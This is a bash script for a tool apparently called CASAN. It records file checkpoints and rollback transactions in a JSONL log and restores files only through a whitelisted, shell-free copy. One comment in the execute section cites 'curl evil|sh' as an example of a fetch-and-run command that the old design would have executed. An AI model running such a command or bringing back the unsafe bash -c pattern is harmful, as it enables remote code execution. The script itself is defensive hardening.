#!/usr/bin/env bash set -euo pipefail # CASAN Level 5 rollback transaction recorder. # Usage: # rollback-manager.sh record # rollback-manager.sh checkpoint # back up a file; records a REAL restore command # rollback-manager.sh execute MODE="${1:-}" ACTION="${2:-}" ROLLBACK_COMMAND="${3:-}" SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" source "$SCRIPT_DIR/casan-paths.sh" PROJECT_ROOT="$CASAN_APP_ROOT" LOG_DIR="$CASAN_STATE_ROOT/logs/level5" BACKUP_DIR="$LOG_DIR/rollback-backups" TX_LOG="$LOG_DIR/rollback-transactions.jsonl" mkdir -p "$LOG_DIR" "$BACKUP_DIR" # checkpoint: snapshot a real file and record a real restore command so a later # `execute` genuinely undoes any change (not a marker write). if [[ "$MODE" == "checkpoint" ]]; then TARGET="$ACTION" if [[ -z "$TARGET" || ! -f "$TARGET" ]]; then echo "Usage: rollback-manager.sh checkpoint " >&2 exit 64 fi TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")" BACKUP="$BACKUP_DIR/$TX_ID.bak" cp "$TARGET" "$BACKUP" ABS_TARGET="$(cd "$(dirname "$TARGET")" && pwd)/$(basename "$TARGET")" RESTORE_CMD="cp '$BACKUP' '$ABS_TARGET'" TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY' import json, sys log, ts, tx, target, cmd, backup = sys.argv[1:] # SEC-03: `op` + backup/target are the STRUCTURED, executable form. rollback_command # is kept only as a human-readable / audit string — `execute` never shell-runs it. rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint", "op": "restore_file", "target": target, "backup": backup, "rollback_command": cmd, "status": "recorded"} open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n") PY echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET" exit 0 fi if [[ "$MODE" == "record" ]]; then if [[ -z "$ACTION" || -z "$ROLLBACK_COMMAND" ]]; then echo "Usage: rollback-manager.sh record " >&2 exit 64 fi TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")" TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" # SEC-03/SEC-05: serialize via json.dumps so `action`/`rollback_command` cannot # inject a second forged JSON record (a raw printf let a `"`+newline break out). # Note: a free-form `record` entry has no structured `op`, so `execute` REFUSES # to run it — free-form rollback commands are audit-only, never executed. python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" <<'PY' import json, sys log, ts, tx, action, cmd = sys.argv[1:] rec = {"timestamp": ts, "transaction_id": tx, "action": action, "rollback_command": cmd, "status": "recorded"} open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n") PY echo "ROLLBACK_RECORDED transaction_id=$TX_ID" exit 0 fi if [[ "$MODE" == "execute" ]]; then TX_ID="$ACTION" if [[ -z "$TX_ID" || ! -f "$TX_LOG" ]]; then echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2 exit 1 fi # SEC-03 (H-03): NEVER `bash -c` a string read from the (unsigned) tx log — that # was arbitrary remote code execution (append `curl evil|sh` -> executed). Only a # STRUCTURED, whitelisted op is honored. The one safe op today is "restore_file": # copy our own backup back over the target, performed in Python via argv (no shell), # and only when the source lives inside our controlled backup dir. PRC=0 RESTORED="$(python - "$TX_LOG" "$TX_ID" "$BACKUP_DIR" <<'PY' import json, os, shutil, sys log, tx, backup_dir = sys.argv[1], sys.argv[2], os.path.realpath(sys.argv[3]) rec = None for line in open(log, encoding="utf-8"): line = line.strip() if not line: continue try: r = json.loads(line) except ValueError: continue # malformed line: ignore, fail-closed later if r.get("transaction_id") == tx and r.get("action") == "checkpoint": rec = r # last checkpoint for this tx wins if not rec: sys.stderr.write("no_structured_checkpoint\n"); sys.exit(3) op = rec.get("op") or ("restore_file" if rec.get("backup") and rec.get("target") else "") backup = os.path.realpath(rec.get("backup", "")) target = rec.get("target", "") if op != "restore_file" or not backup or not target: sys.stderr.write("not_a_whitelisted_restore_op\n"); sys.exit(4) # A forged record cannot point the restore SOURCE at an arbitrary file. if not (backup == backup_dir or backup.startswith(backup_dir + os.sep)): sys.stderr.write("backup_outside_controlled_dir\n"); sys.exit(5) if not os.path.isfile(backup): sys.stderr.write("backup_missing\n"); sys.exit(6) shutil.copyfile(backup, target) # argv copy — no shell interpretation sys.stdout.write(target) PY )" || PRC=$? if [[ "$PRC" -ne 0 ]]; then echo "ROLLBACK_REFUSED transaction_id=$TX_ID reason=no_structured_restore_op (rc=$PRC)" >&2 exit 1 fi TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" <<'PY' import json, sys log, ts, tx = sys.argv[1:] open(log, "a", encoding="utf-8").write( json.dumps({"timestamp": ts, "transaction_id": tx, "status": "rolled_back"}) + "\n") PY echo "ROLLBACK_EXECUTED transaction_id=$TX_ID target=$RESTORED" exit 0 fi echo "Usage: rollback-manager.sh record|execute ..." >&2 exit 64